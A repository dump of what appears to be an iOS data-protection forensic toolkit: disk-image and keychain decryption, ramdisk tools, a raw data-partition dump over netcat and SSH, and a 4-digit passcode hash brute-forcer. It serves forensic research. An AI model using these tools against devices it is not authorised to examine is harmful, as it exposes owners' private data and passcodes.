├── python_scripts ├── crypto │ ├── __init__.py │ ├── aes.py │ ├── aeswrap.py │ ├── curve25519.py │ └── gcm.py ├── hfs │ ├── __init__.py │ └── journal.py ├── backups │ ├── __init__.py │ ├── backup3.py │ └── backup4.py ├── keystore │ └── __init__.py ├── README.txt ├── windows_redsn0w_keys.py ├── util │ ├── cert.py │ ├── tlv.py │ ├── __init__.py │ ├── lzss.py │ └── ramdiskclient.py ├── keychain │ ├── __init__.py │ ├── managedconfiguration.py │ ├── keychain3.py │ ├── store.py │ ├── keychain4.py │ └── keychain.py ├── emf_undelete.py ├── emf_decrypter.py ├── demo_escrow.py ├── demo_bruteforce.py ├── backup_tool.py ├── keychain_tool.py ├── demo_backup_keychain.py └── kernel_patcher.py ├── ramdisk_tools ├── image.h ├── registry.h ├── device_info.h ├── dump_data_partition.sh ├── plist_server.h ├── keystore_device.xml ├── remote_functions.h ├── scripts │ └── mount_partitions.sh ├── IOKit.h ├── bsdcrypto │ ├── sha1.h │ ├── pbkdf2.h │ ├── key_wrap.h │ ├── rijndael.h │ ├── key_wrap.c │ ├── sha1.c │ └── pbkdf2.c ├── IOAESAccelerator.h ├── AppleEffaceableStorage.h ├── device_infos.c ├── Makefile ├── AppleEffaceableStorage.c ├── image.c ├── AppleKeyStore.h ├── IOKit.c ├── util.h ├── device_info.c ├── IOAESAccelerator.c ├── AppleKeyStore_kdf.c ├── util.c ├── plist_server.c ├── systemkb_bruteforce.c └── remote_functions.c ├── README.txt ├── emf_decrypter ├── common │ ├── CMakeLists.txt │ └── base64.c ├── emf │ ├── CMakeLists.txt │ ├── emf.h │ ├── emf_init.c │ └── emf_decrypter.c ├── includes │ ├── dmg │ │ ├── dmgfile.h │ │ ├── dmglib.h │ │ └── filevault.h │ ├── hfs │ │ ├── hfslib.h │ │ └── hfscompress.h │ ├── abstractfile.h │ └── common.h ├── hfs │ ├── CMakeLists.txt │ ├── utility.c │ ├── flatfile.c │ ├── extents.c │ └── volume.c ├── README.txt ├── CMakeLists.txt └── BUILD ├── tcprelay.sh ├── usbmuxd-python-client ├── relay.bat └── tcprelay.py ├── CREDITS.txt ├── img3fs ├── Makefile └── README └── dump_data_partition.sh /python_scripts/crypto/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /python_scripts/hfs/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /python_scripts/backups/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /python_scripts/keystore/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ramdisk_tools/image.h: -------------------------------------------------------------------------------- 1 | int drawImage(const char* pngFileName); 2 | -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | See http://code.google.com/p/iphone-dataprotection/wiki/README 2 | -------------------------------------------------------------------------------- /ramdisk_tools/registry.h: -------------------------------------------------------------------------------- 1 | void get_device_infos(CFMutableDictionaryRef out); -------------------------------------------------------------------------------- /emf_decrypter/common/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_library(common abstractfile.c base64.c) 2 | 3 | -------------------------------------------------------------------------------- /ramdisk_tools/device_info.h: -------------------------------------------------------------------------------- 1 | CFDictionaryRef device_info(int socket, CFDictionaryRef request); 2 | -------------------------------------------------------------------------------- /ramdisk_tools/dump_data_partition.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cat /dev/rdisk0s2s1 | netcat -l -p 1234 4 | -------------------------------------------------------------------------------- /tcprelay.sh: -------------------------------------------------------------------------------- 1 | #/bin/sh 2 | 3 | python usbmuxd-python-client/tcprelay.py -t 22:2222 1999:1999 4 | 5 | -------------------------------------------------------------------------------- /usbmuxd-python-client/relay.bat: -------------------------------------------------------------------------------- 1 | c:\Python26\python.exe tcprelay.py -t 22:2222 5900:5900 1999:1999 1234:1234 2 | -------------------------------------------------------------------------------- /CREDITS.txt: -------------------------------------------------------------------------------- 1 | comex 2 | chronic dev team 3 | idroid/openiboot team 4 | iphone dev team 5 | Jonathan Zdziarski 6 | msftguy 7 | planetbeing 8 | -------------------------------------------------------------------------------- /python_scripts/README.txt: -------------------------------------------------------------------------------- 1 | Dependencies 2 | pycrypto (https://www.dlitz.net/software/pycrypto/) 3 | construct (http://construct.wikispaces.com/) -------------------------------------------------------------------------------- /img3fs/Makefile: -------------------------------------------------------------------------------- 1 | img3fs: img3fs.c 2 | gcc -o $@ $^ -Wall -lfuse_ino64 -lcrypto -I/usr/local/include/osxfuse || gcc -o $@ $^ -Wall -losxfuse_i64 -lcrypto -I/usr/local/include/osxfuse 3 | 4 | clean: 5 | rm img3fs 6 | -------------------------------------------------------------------------------- /ramdisk_tools/plist_server.h: -------------------------------------------------------------------------------- 1 | #define PLIST_MAX_SIZE 50*1024*1024 2 | 3 | int create_listening_socket(int port); 4 | int send_progress_message(int socket, int progress, int total); 5 | int send_object(int socket, CFTypeRef obj); 6 | void serve_plist_rpc(int port, CFDictionaryRef handlers); -------------------------------------------------------------------------------- /ramdisk_tools/keystore_device.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | com.apple.keystore.device 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /python_scripts/windows_redsn0w_keys.py: -------------------------------------------------------------------------------- 1 | #HAX 2 | 3 | d=open("redsn0w_win_0.9.9b4/redsn0w.exe", "rb").read() 4 | 5 | i = d.find("IV") 6 | i = d.rfind("", i) 8 | 9 | assert i != -1 10 | assert j != -1 11 | 12 | open("Keys.plist", "wb").write(d[i:j+8]) 13 | -------------------------------------------------------------------------------- /python_scripts/util/cert.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | def chunks(l, n): 4 | return (l[i:i+n] for i in xrange(0, len(l), n)) 5 | 6 | def RSA_KEY_DER_to_PEM(data): 7 | a = ["-----BEGIN RSA PRIVATE KEY-----"] 8 | a.extend(chunks(base64.b64encode(data),64)) 9 | a.append("-----END RSA PRIVATE KEY-----") 10 | return "\n".join(a) -------------------------------------------------------------------------------- /ramdisk_tools/remote_functions.h: -------------------------------------------------------------------------------- 1 | 2 | CFDictionaryRef load_system_keybag(int socket, CFDictionaryRef dict); 3 | CFDictionaryRef bruteforce_system_keybag(int socket, CFDictionaryRef dict); 4 | CFDictionaryRef keybag_get_passcode_key(int socket, CFDictionaryRef dict); 5 | CFDictionaryRef get_escrow_record(int socket, CFDictionaryRef dict); 6 | CFDictionaryRef download_file(int socket, CFDictionaryRef dict); 7 | -------------------------------------------------------------------------------- /emf_decrypter/emf/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | link_directories(${PROJECT_BINARY_DIR}/common ${PROJECT_BINARY_DIR}/hfs) 2 | 3 | #set(COREFOUNDATION_LIBRARY CoreFoundation) 4 | 5 | IF (APPLE) 6 | FIND_LIBRARY(COREFOUNDATION_LIBRARY CoreFoundation) 7 | ENDIF (APPLE) 8 | 9 | add_executable(emf_decrypter emf_decrypter.c emf_init.c) 10 | target_link_libraries (emf_decrypter hfs common crypto ${COREFOUNDATION_LIBRARY}) 11 | 12 | install(TARGETS emf_decrypter DESTINATION .) 13 | -------------------------------------------------------------------------------- /img3fs/README: -------------------------------------------------------------------------------- 1 | FUSE img3 filesystem 2 | read/write/encryption support 3 | 4 | Usage example: 5 | 6 | mkdir /tmp/img3 7 | img3fs /tmp/img3 038-0032-002.dmg -iv 9b20ae16bebf4cf1b9101374c3ab0095 -key 06849aead2e9a6ca8a82c3929bad5c2368942e3681a3d5751720d2aacf0694c0 8 | hdiutil attach /tmp/img3/DATA.dmg 9 | rm -rf /Volumes/ramdisk/usr/local/standalone/firmware/* 10 | echo "Hello World!" > /Volumes/ramdisk/hello.txt 11 | hdiutil eject /Volumes/ramdisk 12 | umount /tmp/img3 -------------------------------------------------------------------------------- /emf_decrypter/includes/dmg/dmgfile.h: -------------------------------------------------------------------------------- 1 | /* 2 | * dmgfile.h 3 | * libdmg-hfsplus 4 | * 5 | */ 6 | 7 | #include 8 | 9 | io_func* openDmgFile(AbstractFile* dmg); 10 | io_func* openDmgFilePartition(AbstractFile* dmg, int partition); 11 | 12 | typedef struct DMG { 13 | AbstractFile* dmg; 14 | ResourceKey* resources; 15 | uint32_t numBLKX; 16 | BLKXTable** blkx; 17 | void* runData; 18 | uint64_t runStart; 19 | uint64_t runEnd; 20 | uint64_t offset; 21 | } DMG; 22 | -------------------------------------------------------------------------------- /ramdisk_tools/scripts/mount_partitions.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | 4 | if [ -a /dev/disk0s1s2 ]; then # test for iOS 5 data partition 5 | mount_hfs /dev/disk0s1s1 /mnt1 2>/dev/null 6 | mount_hfs /dev/disk0s1s2 /mnt2 2>/dev/null 7 | elif [ -a /dev/disk0s2s1 ]; then # test for iOS 4 data partition 8 | mount_hfs /dev/disk0s1 /mnt1 2>/dev/null 9 | mount_hfs /dev/disk0s2s1 /mnt2 2>/dev/null 10 | else 11 | echo "Error mounting partitions. Please try it manually" 12 | fi 13 | -------------------------------------------------------------------------------- /dump_data_partition.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | SSHOPTS="-p 2222 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null" 3 | 4 | UDID=`ssh $SSHOPTS root@localhost "./device_infos udid"` 5 | 6 | if [ "$UDID" == "" ]; then 7 | exit 8 | fi 9 | 10 | echo "Device UDID : $UDID" 11 | 12 | mkdir -p $UDID 13 | 14 | DATE=`date +"%Y%m%d-%H%M"` 15 | OUT=$UDID/data_$DATE.dmg 16 | 17 | echo "Dumping data partition in $OUT ..." 18 | 19 | ssh $SSHOPTS root@localhost "dd if=/dev/rdisk0s2s1 bs=8192 || dd if=/dev/rdisk0s1s2 bs=8192" > $OUT 20 | -------------------------------------------------------------------------------- /python_scripts/util/tlv.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | def tlvToDict(blob): 4 | d = {} 5 | for tag,data in loopTLVBlocks(blob): 6 | d[tag] = data 7 | return d 8 | 9 | def tlvToList(blob): 10 | return list(loopTLVBlocks(blob)) 11 | 12 | def loopTLVBlocks(blob): 13 | i = 0 14 | while i + 8 <= len(blob): 15 | tag = blob[i:i+4] 16 | length = struct.unpack(">L",blob[i+4:i+8])[0] 17 | data = blob[i+8:i+8+length] 18 | yield (tag,data) 19 | i += 8 + length -------------------------------------------------------------------------------- /python_scripts/keychain/__init__.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | from keychain3 import Keychain3 3 | from keychain4 import Keychain4 4 | 5 | def keychain_load(filename, keybag, key835): 6 | version = sqlite3.connect(filename).execute("SELECT version FROM tversion").fetchone()[0] 7 | print "Keychain version : %d" % version 8 | if version == 3: 9 | return Keychain3(filename, key835) 10 | elif version >= 4: 11 | return Keychain4(filename, keybag) 12 | raise Exception("Unknown keychain version %d" % version) 13 | -------------------------------------------------------------------------------- /emf_decrypter/includes/dmg/dmglib.h: -------------------------------------------------------------------------------- 1 | #ifndef DMGLIB_H 2 | #define DMGLIB_H 3 | 4 | #include 5 | #include "abstractfile.h" 6 | 7 | #ifdef __cplusplus 8 | extern "C" { 9 | #endif 10 | int extractDmg(AbstractFile* abstractIn, AbstractFile* abstractOut, int partNum); 11 | int buildDmg(AbstractFile* abstractIn, AbstractFile* abstractOut, unsigned int BlockSize); 12 | 13 | int convertToDMG(AbstractFile* abstractIn, AbstractFile* abstractOut); 14 | int convertToISO(AbstractFile* abstractIn, AbstractFile* abstractOut); 15 | #ifdef __cplusplus 16 | } 17 | #endif 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /ramdisk_tools/IOKit.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | io_connect_t IOKit_getConnect(const char* serviceName); 4 | 5 | IOReturn IOKit_call(const char* serviceName, 6 | uint32_t selector, 7 | const uint64_t *input, 8 | uint32_t inputCnt, 9 | const void *inputStruct, 10 | size_t inputStructCnt, 11 | uint64_t *output, 12 | uint32_t *outputCnt, 13 | void *outputStruct, 14 | size_t *outputStructCnt); -------------------------------------------------------------------------------- /emf_decrypter/hfs/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | INCLUDE(FindZLIB) 2 | 3 | IF(NOT ZLIB_FOUND) 4 | message(FATAL_ERROR "zlib is required for hfs!") 5 | ENDIF(NOT ZLIB_FOUND) 6 | 7 | include_directories(${ZLIB_INCLUDE_DIR}) 8 | link_directories(${ZLIB_LIBRARIES}) 9 | 10 | link_directories (${PROJECT_BINARY_DIR}/common) 11 | add_library(hfs btree.c catalog.c extents.c xattr.c fastunicodecompare.c flatfile.c hfslib.c rawfile.c utility.c volume.c hfscompress.c) 12 | target_link_libraries(hfs common z) 13 | 14 | add_executable(hfsplus hfs.c) 15 | target_link_libraries (hfsplus hfs) 16 | 17 | install(TARGETS hfsplus DESTINATION .) 18 | 19 | -------------------------------------------------------------------------------- /emf_decrypter/README.txt: -------------------------------------------------------------------------------- 1 | DEPRECATED: use the python version instead 2 | 3 | Decrypts files data forks in raw iOS 4 disk images. 4 | Reads encryption keys from plist file named after the volume ID. 5 | The plist file must have at least the EMF and DKey fields set. 6 | For now the tool decrypts the data forks but does not mark the files as 7 | "decrypted" : running it twice on the same image will produce garbage. 8 | Interrupting the process will also leave the image "half decrypted". 9 | 10 | Uses planetbeing/dev team HFS implementation 11 | https://github.com/planetbeing/xpwn 12 | 13 | Only builds on Mac OS X, requires CoreFoundation for plist access. -------------------------------------------------------------------------------- /python_scripts/crypto/aes.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | 3 | ZEROIV = "\x00"*16 4 | def removePadding(blocksize, s): 5 | 'Remove rfc 1423 padding from string.' 6 | n = ord(s[-1]) # last byte contains number of padding bytes 7 | if n > blocksize or n > len(s): 8 | raise Exception('invalid padding') 9 | return s[:-n] 10 | 11 | 12 | def AESdecryptCBC(data, key, iv=ZEROIV, padding=False): 13 | if len(data) % 16: 14 | print "AESdecryptCBC: data length not /16, truncating" 15 | data = data[0:(len(data)/16) * 16] 16 | data = AES.new(key, AES.MODE_CBC, iv).decrypt(data) 17 | if padding: 18 | return removePadding(16, data) 19 | return data 20 | -------------------------------------------------------------------------------- /emf_decrypter/hfs/utility.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void hfs_panic(const char* hfs_panicString) { 6 | fprintf(stderr, "%s\n", hfs_panicString); 7 | exit(1); 8 | } 9 | 10 | void printUnicode(HFSUniStr255* str) { 11 | int i; 12 | 13 | for(i = 0; i < str->length; i++) { 14 | printf("%c", (char)(str->unicode[i] & 0xff)); 15 | } 16 | } 17 | 18 | char* unicodeToAscii(HFSUniStr255* str) { 19 | int i; 20 | char* toReturn; 21 | 22 | toReturn = (char*) malloc(sizeof(char) * (str->length + 1)); 23 | 24 | for(i = 0; i < str->length; i++) { 25 | toReturn[i] = (char)(str->unicode[i] & 0xff); 26 | } 27 | toReturn[i] = '\0'; 28 | 29 | return toReturn; 30 | } 31 | -------------------------------------------------------------------------------- /ramdisk_tools/bsdcrypto/sha1.h: -------------------------------------------------------------------------------- 1 | /* $OpenBSD: sha1.h,v 1.5 2007/09/10 22:19:42 henric Exp $ */ 2 | 3 | /* 4 | * SHA-1 in C 5 | * By Steve Reid 6 | * 100% Public Domain 7 | */ 8 | 9 | #ifndef _SHA1_H_ 10 | #define _SHA1_H_ 11 | 12 | #define SHA1_BLOCK_LENGTH 64 13 | #define SHA1_DIGEST_LENGTH 20 14 | 15 | typedef struct { 16 | u_int32_t state[5]; 17 | u_int64_t count; 18 | unsigned char buffer[SHA1_BLOCK_LENGTH]; 19 | } SHA1_CTX; 20 | 21 | void SHA1Init(SHA1_CTX * context); 22 | void SHA1Transform(u_int32_t state[5], const unsigned char buffer[SHA1_BLOCK_LENGTH]); 23 | void SHA1Update(SHA1_CTX *context, const unsigned char *data, unsigned int len); 24 | void SHA1Final(unsigned char digest[SHA1_DIGEST_LENGTH], SHA1_CTX *context); 25 | 26 | #endif /* _SHA1_H_ */ 27 | -------------------------------------------------------------------------------- /python_scripts/keychain/managedconfiguration.py: -------------------------------------------------------------------------------- 1 | """ 2 | 0 3 | 1:MCSHA256DigestWithSalt 4 | 2:SecKeyFromPassphraseDataHMACSHA1 5 | """ 6 | from crypto.PBKDF2 import PBKDF2 7 | import plistlib 8 | import hashlib 9 | 10 | SALT1 = "F92F024CA2CB9754".decode("hex") 11 | 12 | hashMethods={ 13 | 1: (lambda p,salt:hashlib.sha256(SALT1 + p)), 14 | 2: (lambda p,salt:PBKDF2(p, salt, iterations=1000).read(20)) 15 | } 16 | 17 | def bruteforce_old_pass(h): 18 | salt = h["salt"].data 19 | hash = h["hash"].data 20 | f = hashMethods.get(h["hashMethod"]) 21 | 22 | if f: 23 | print "Bruteforcing hash %s (4 digits)" % hash.encode("hex") 24 | for i in xrange(10000): 25 | p = "%04d" % (i % 10000) 26 | if f(p,salt) == hash: 27 | return p 28 | -------------------------------------------------------------------------------- /python_scripts/emf_undelete.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from hfs.emf import EMFVolume 4 | from hfs.journal import do_emf_carving 5 | 6 | if __name__ == "__main__": 7 | if len(sys.argv) < 2: 8 | print "Usage: emf_undelete.py disk_image.bin" 9 | sys.exit(0) 10 | filename = sys.argv[1] 11 | volume = EMFVolume(filename) 12 | dirname = os.path.dirname(filename) 13 | if dirname == "": 14 | dirname = "." 15 | outdir = dirname + "/" + volume.volumeID().encode("hex") + "_" + os.path.basename(filename) 16 | carveokdir = outdir + "/undelete/" 17 | carvenokdir = outdir + "/junk/" 18 | try: 19 | os.makedirs(carveokdir) 20 | os.makedirs(carvenokdir) 21 | except: 22 | pass 23 | 24 | do_emf_carving(volume, carveokdir, carvenokdir) 25 | -------------------------------------------------------------------------------- /emf_decrypter/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.6) 2 | set(CMAKE_LEGACY_CYGWIN_WIN32 0) 3 | 4 | project (XPwn) 5 | 6 | # We want win32 executables to build staticly by default, since it's more difficult to keep the shared libraries straight on Windows 7 | IF(WIN32) 8 | SET(BUILD_STATIC ON CACHE BOOL "Force compilation with static libraries") 9 | ELSE(WIN32) 10 | SET(BUILD_STATIC OFF CACHE BOOL "Force compilation with static libraries") 11 | ENDIF(WIN32) 12 | 13 | IF(BUILD_STATIC) 14 | SET(CMAKE_FIND_LIBRARY_SUFFIXES ".a") 15 | ENDIF(BUILD_STATIC) 16 | 17 | include_directories (${PROJECT_SOURCE_DIR}/includes) 18 | 19 | add_subdirectory (common) 20 | add_subdirectory (hfs) 21 | add_subdirectory (emf) 22 | 23 | IF(WIN32 OR APPLE) 24 | SET(CPACK_GENERATOR "ZIP") 25 | ELSE(WIN32 OR APPLE) 26 | SET(CPACK_GENERATOR "TBZ2") 27 | ENDIF(WIN32 OR APPLE) 28 | 29 | INCLUDE(CPack) 30 | -------------------------------------------------------------------------------- /ramdisk_tools/IOAESAccelerator.h: -------------------------------------------------------------------------------- 1 | #define kIOAESAcceleratorInfo 0 2 | #define kIOAESAcceleratorTask 1 3 | #define kIOAESAcceleratorTest 2 4 | 5 | #define kIOAESAcceleratorEncrypt 0 6 | #define kIOAESAcceleratorDecrypt 1 7 | 8 | #define kIOAESAcceleratorGIDMask 0x3E8 9 | #define kIOAESAcceleratorUIDMask 0x7D0 10 | #define kIOAESAcceleratorCustomMask 0 11 | 12 | typedef struct 13 | { 14 | void* inbuf; 15 | void* outbuf; 16 | uint32_t size; 17 | uint8_t iv[16]; 18 | uint32_t mode; 19 | uint32_t bits; 20 | uint8_t keybuf[32]; 21 | uint32_t mask; 22 | uint32_t zero; //ios 4.2.1 23 | } IOAESStruct; 24 | 25 | #define IOAESStruct_size41 (sizeof(IOAESStruct)) 26 | #define IOAESStruct_sizeold (sizeof(IOAESStruct) - 4) 27 | 28 | void aes_init(); 29 | io_connect_t IOAESAccelerator_getIOconnect(); 30 | int doAES(void* inbuf, void *outbuf, uint32_t size, uint32_t keyMask, void* key, void* iv, int mode, int bits); 31 | int AES_UID_Encrypt(void* input, void* output, size_t len); 32 | 33 | uint8_t* IOAES_key835(); 34 | uint8_t* IOAES_key89B(); 35 | -------------------------------------------------------------------------------- /python_scripts/emf_decrypter.py: -------------------------------------------------------------------------------- 1 | from optparse import OptionParser 2 | from hfs.emf import EMFVolume 3 | 4 | def main(): 5 | parser = OptionParser(usage="emf_decrypter.py disk_image.bin") 6 | parser.add_option("-w", "--nowrite", dest="write", action="store_false", default=True, 7 | help="disable modifications of input file, for testing") 8 | (options, args) = parser.parse_args() 9 | if len(args) < 1: 10 | parser.print_help() 11 | return 12 | v = EMFVolume(args[0], write=options.write) 13 | if options.write: 14 | print "WARNING ! This tool will modify the hfs image and possibly wreck it if something goes wrong !" 15 | print "Make sure to backup the image before proceeding" 16 | print "You can use the --nowrite option to do a dry run instead" 17 | else: 18 | print "Test mode : the input file will not be modified" 19 | print "Press a key to continue or CTRL-C to abort" 20 | raw_input() 21 | v.decryptAllFiles() 22 | 23 | if __name__ == "__main__": 24 | main() 25 | -------------------------------------------------------------------------------- /emf_decrypter/includes/hfs/hfslib.h: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "hfsplus.h" 3 | #include "abstractfile.h" 4 | 5 | #ifdef __cplusplus 6 | extern "C" { 7 | #endif 8 | void writeToFile(HFSPlusCatalogFile* file, AbstractFile* output, Volume* volume); 9 | void writeToHFSFile(HFSPlusCatalogFile* file, AbstractFile* input, Volume* volume); 10 | void get_hfs(Volume* volume, const char* inFileName, AbstractFile* output); 11 | int add_hfs(Volume* volume, AbstractFile* inFile, const char* outFileName); 12 | void grow_hfs(Volume* volume, uint64_t newSize); 13 | void removeAllInFolder(HFSCatalogNodeID folderID, Volume* volume, const char* parentName); 14 | void addAllInFolder(HFSCatalogNodeID folderID, Volume* volume, const char* parentName); 15 | void addall_hfs(Volume* volume, const char* dirToMerge, const char* dest); 16 | void extractAllInFolder(HFSCatalogNodeID folderID, Volume* volume); 17 | int copyAcrossVolumes(Volume* volume1, Volume* volume2, char* path1, char* path2); 18 | 19 | void hfs_untar(Volume* volume, AbstractFile* tarFile); 20 | void hfs_ls(Volume* volume, const char* path); 21 | void hfs_setsilence(int s); 22 | #ifdef __cplusplus 23 | } 24 | #endif 25 | 26 | -------------------------------------------------------------------------------- /ramdisk_tools/bsdcrypto/pbkdf2.h: -------------------------------------------------------------------------------- 1 | /* $OpenBSD: pbkdf2.h,v 1.1 2008/06/14 06:28:27 djm Exp $ */ 2 | 3 | /*- 4 | * Copyright (c) 2008 Damien Bergamini 5 | * 6 | * Permission to use, copy, modify, and distribute this software for any 7 | * purpose with or without fee is hereby granted, provided that the above 8 | * copyright notice and this permission notice appear in all copies. 9 | * 10 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 11 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 12 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 13 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 14 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 15 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 16 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 17 | */ 18 | 19 | /* 20 | * Password-Based Key Derivation Function 2 (PKCS #5 v2.0). 21 | * Code based on IEEE Std 802.11-2007, Annex H.4.2. 22 | */ 23 | int pkcs5_pbkdf2(const char *, size_t, const char *, size_t, 24 | u_int8_t *, size_t, u_int); 25 | -------------------------------------------------------------------------------- /ramdisk_tools/AppleEffaceableStorage.h: -------------------------------------------------------------------------------- 1 | /* 2 | AppleEffaceableStorage 3 | 0 : getCapacity 4 | 1 : getBytes (kernel debug) 5 | 2 : setBytes (kernel debug) 6 | 3 : isFormatted 7 | 4 : format 8 | 5 : getLocker 9 | 6 : setLocker 10 | 7 : effaceLocker 11 | 8 : lockerSpace 12 | */ 13 | #define kAppleEffaceableStorageGetBytes 1 14 | #define kAppleEffaceableStorageGetLocker 5 15 | 16 | 17 | #define LOCKER_DKEY 0x446B6579 18 | #define LOCKER_EMF 0x454D4621 19 | #define LOCKER_BAG1 0x42414731 20 | #define LOCKER_LWVM 0x4C77564d 21 | 22 | struct EffaceableLocker 23 | { 24 | unsigned short magic; //0x4c6B = "kL" 25 | unsigned short len; 26 | unsigned int tag; //BAG1, EMF, Dkey, DONE 27 | unsigned char data[1]; 28 | }; 29 | 30 | struct BAG1Locker 31 | { 32 | unsigned int magic;//'BAG1'; 33 | unsigned char iv[16]; 34 | unsigned char key[32]; 35 | }; 36 | 37 | int AppleEffaceableStorage__getLocker(uint32_t lockerId, uint8_t* buffer, size_t len); 38 | int AppleEffaceableStorage__getBytes(uint8_t* buffer, size_t len); 39 | int AppleEffaceableStorage__getLockerFromBytes(uint32_t tag, uint8_t* lockers, size_t lockers_len, uint8_t* buffer, size_t len); 40 | 41 | -------------------------------------------------------------------------------- /python_scripts/crypto/aeswrap.py: -------------------------------------------------------------------------------- 1 | import struct 2 | from Crypto.Cipher import AES 3 | 4 | """ 5 | http://www.ietf.org/rfc/rfc3394.txt 6 | quick'n'dirty AES wrap implementation 7 | used by iOS 4 KeyStore kernel extension for wrapping/unwrapping encryption keys 8 | """ 9 | def unpack64bit(s): 10 | return struct.unpack(">Q",s)[0] 11 | def pack64bit(s): 12 | return struct.pack(">Q",s) 13 | 14 | def AESUnwrap(kek, wrapped): 15 | C = [] 16 | for i in xrange(len(wrapped)/8): 17 | C.append(unpack64bit(wrapped[i*8:i*8+8])) 18 | n = len(C) - 1 19 | R = [0] * (n+1) 20 | A = C[0] 21 | 22 | for i in xrange(1,n+1): 23 | R[i] = C[i] 24 | 25 | for j in reversed(xrange(0,6)): 26 | for i in reversed(xrange(1,n+1)): 27 | todec = pack64bit(A ^ (n*j+i)) 28 | todec += pack64bit(R[i]) 29 | B = AES.new(kek).decrypt(todec) 30 | A = unpack64bit(B[:8]) 31 | R[i] = unpack64bit(B[8:]) 32 | 33 | #assert A == 0xa6a6a6a6a6a6a6a6, "AESUnwrap: integrity check FAIL, wrong kek ?" 34 | if A != 0xa6a6a6a6a6a6a6a6: 35 | #print "AESUnwrap: integrity check FAIL, wrong kek ?" 36 | return None 37 | res = "".join(map(pack64bit, R[1:])) 38 | return res -------------------------------------------------------------------------------- /emf_decrypter/emf/emf.h: -------------------------------------------------------------------------------- 1 | //As of iOS 4, class keys 1 to 4 are used for files, class 5 usage is unknown 2 | #define MAX_CLASS_KEYS 5 3 | #define CLASS_DKEY 4 4 | 5 | typedef struct EMFInfo 6 | { 7 | Volume* volume; 8 | uint64_t volume_id; 9 | uint64_t volume_offset; 10 | uint32_t classKeys_bitset; 11 | AES_KEY emfkey; 12 | AES_KEY classKeys[MAX_CLASS_KEYS]; 13 | }EMFInfo; 14 | 15 | EMFInfo* EMF_init(Volume*, char*); 16 | 17 | #define CPROTECT_V2_LENGTH 0x38 //56 18 | #define CP_WRAPPEDKEYSIZE 40 /* 2x4 = 8, 8x8 = 64 */ 19 | 20 | //http://www.opensource.apple.com/source/xnu/xnu-1699.22.73/bsd/sys/cprotect.h 21 | typedef struct cprotect_xattr_v2 22 | { 23 | uint16_t xattr_major_version; // =2 24 | uint16_t xattr_minor_version; // =0 25 | uint32_t flags; // leaks stack dword in one code path (cp_handle_vnop) 26 | uint32_t persistent_class; 27 | uint32_t key_size; //0x28 28 | uint8_t persistent_key[0x28]; 29 | } cprotect_xattr_v2; 30 | 31 | #define CPROTECT_V4_LENGTH 0x4C //76 32 | 33 | typedef struct cprotect_xattr_v4 34 | { 35 | uint16_t xattr_major_version; // =4 36 | uint16_t xattr_minor_version; // =0 37 | uint32_t xxx_length; // 0xc 38 | uint32_t protection_class_id; 39 | uint32_t wrapped_length; //0x28 40 | uint8_t xxx_junk[20]; //uninitialized ? 41 | uint8_t wrapped_key[0x28]; 42 | } cprotect_xattr_v4; -------------------------------------------------------------------------------- /ramdisk_tools/device_infos.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "device_info.h" 5 | #include "util.h" 6 | 7 | int main(int argc, char* argv[]) 8 | { 9 | CFMutableDictionaryRef out = device_info(-1, NULL); 10 | 11 | if (out == NULL) 12 | { 13 | fprintf(stderr, "device_info(-1, NULL) failed\n"); 14 | return -1; 15 | } 16 | 17 | if (argc > 1 ) 18 | { 19 | CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault, argv[1], kCFStringEncodingASCII); 20 | CFTypeRef value = CFDictionaryGetValue(out, key); 21 | if (value != NULL) 22 | { 23 | *stderr = *stdout;//HAX 24 | CFShow(value); 25 | } 26 | else 27 | fprintf(stderr, "key %s not found\n", argv[1]); 28 | CFRelease(key); 29 | CFRelease(out); 30 | return 0; 31 | } 32 | 33 | CFStringRef plistFileName = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%@.plist"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID"))); 34 | 35 | CFStringRef printString = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("Writing results to %@\n"), plistFileName); 36 | CFShow(printString); 37 | CFRelease(printString); 38 | 39 | saveResults(plistFileName, out); 40 | CFRelease(out); 41 | CFRelease(plistFileName); 42 | return 0; 43 | } 44 | -------------------------------------------------------------------------------- /python_scripts/demo_escrow.py: -------------------------------------------------------------------------------- 1 | import os 2 | 